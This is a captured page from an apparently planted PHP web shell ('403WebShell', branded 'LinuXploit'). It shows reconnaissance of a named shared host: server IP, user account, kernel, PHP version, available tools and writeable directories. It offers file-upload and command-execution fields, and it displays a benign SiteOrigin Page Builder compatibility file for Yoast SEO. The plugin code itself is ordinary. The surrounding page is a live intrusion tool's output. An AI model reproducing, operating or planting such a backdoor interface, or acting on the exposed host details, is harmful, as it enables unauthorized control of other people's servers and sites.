Uname:Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64

Base Dir : /home/httpd/vhosts/comeonline.ch/httpdocs

User : onlineadmin


403WebShell
403Webshell
Server IP : 80.74.154.100  /  Your IP : 216.73.217.0
Web Server : Apache
System : Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64
User : onlineadmin ( 10487)
PHP Version : 8.5.7
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/siteorigin-panels/compat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/siteorigin-panels/compat/yoast.php
<?php

if (
	class_exists( 'WPSEO_Options' ) &&
	method_exists( 'WPSEO_Options', 'get' ) &&
	WPSEO_Options::get( 'opengraph' )
) {
	/**
	 * If Yoast OpenGraph is enabled, we'll need disable PB when it gets the excerpt
	 * to avoid conflicts with other plugins.
	 */
	function siteorigin_yoast_opengraph_panels_disable( $content ) {
		global $wp_current_filter;

		if ( count( $wp_current_filter ) > 2 && $wp_current_filter[1] == 'wpseo_head' ) {
			// Temporarily disable Page Builder for this instance of the_content.
			add_filter( 'siteorigin_panels_filter_content_enabled', '__return_false' );
		} else {
			add_filter( 'siteorigin_panels_filter_content_enabled', '__return_true' );
		}

		return $content;
	}

	// If Yoast OpenGraph is enabled, disable Page Builder as needed.
	add_filter( 'the_content', 'siteorigin_yoast_opengraph_panels_disable', 1 );
}

if ( defined( 'WPSEO_FILE' ) ) {
	/**
	 * Returns a list of all images added using Page Builder to allow for their inclusion in the Yoast Sitemap.
	 *
	 * @param $images an array of all detected images used in the current post.
	 * @param $post_id the current post id.
	 *
	 * @return array
	 */
	function siteorigin_yoast_sitemap_images_compat( $images, $post_id ) {
		if (
			get_post_meta( $post_id, 'panels_data', true ) &&
			extension_loaded( 'xml' ) &&
			class_exists( 'DOMDocument' )
		) {
			$post = get_post( $post_id );

			if ( empty( $post ) ) {
				return $images;
			}

			$content = SiteOrigin_Panels::renderer()->render(
				$post_id,
				false
			);

			libxml_use_internal_errors( true );
			$dom = new DOMDocument();
			$dom->loadHTML( '<?xml encoding="UTF-8">' . $content );
			libxml_clear_errors();

			foreach ( $dom->getElementsByTagName( 'img' ) as $img ) {
				$src = $img->getAttribute( 'src' );

				if ( ! empty( $src ) && $src == esc_url( $src ) ) {
					$src = apply_filters( 'wpseo_xml_sitemap_img_src', $src, $post );

					$image = apply_filters(
						'wpseo_xml_sitemap_img',
						array(
							'src' => $src,
						),
						$post
					);

					if (
						is_array( $image ) &&
						! empty( $image['src'] ) &&
						is_string( $image['src'] )
					) {
						$images[] = $image;
					}
				}
			}
		}

		return $images;
	}

	add_filter( 'wpseo_sitemap_urlimages', 'siteorigin_yoast_sitemap_images_compat', 10, 2 );
}

if ( function_exists( 'yoast_wpseo_video_seo_init' ) ) {
	/**
	 * If the Yoast SEO: Video plugin is trying to index a post, and the post has a page builder layout, render it using Page Builder.
	 *
	 * @param $content The content to analyze.
	 * @param $vid  Array with video info, usually empty.
	 * @param $post Post object.
	 *
	 * @return string
	 */
	function siteorigin_yoast_video_render_page_builder( $content, $vid, $post ) {
		if ( ! empty( $_POST['panels_data'] ) ) {
			$content = SiteOrigin_Panels::renderer()->render( $post->ID );
		}

		return $content;
	}
	add_filter( 'wpseo_video_index_content', 'siteorigin_yoast_video_render_page_builder', 10, 3 );
}

Youez - 2016 - github.com/yon3zu
LinuXploit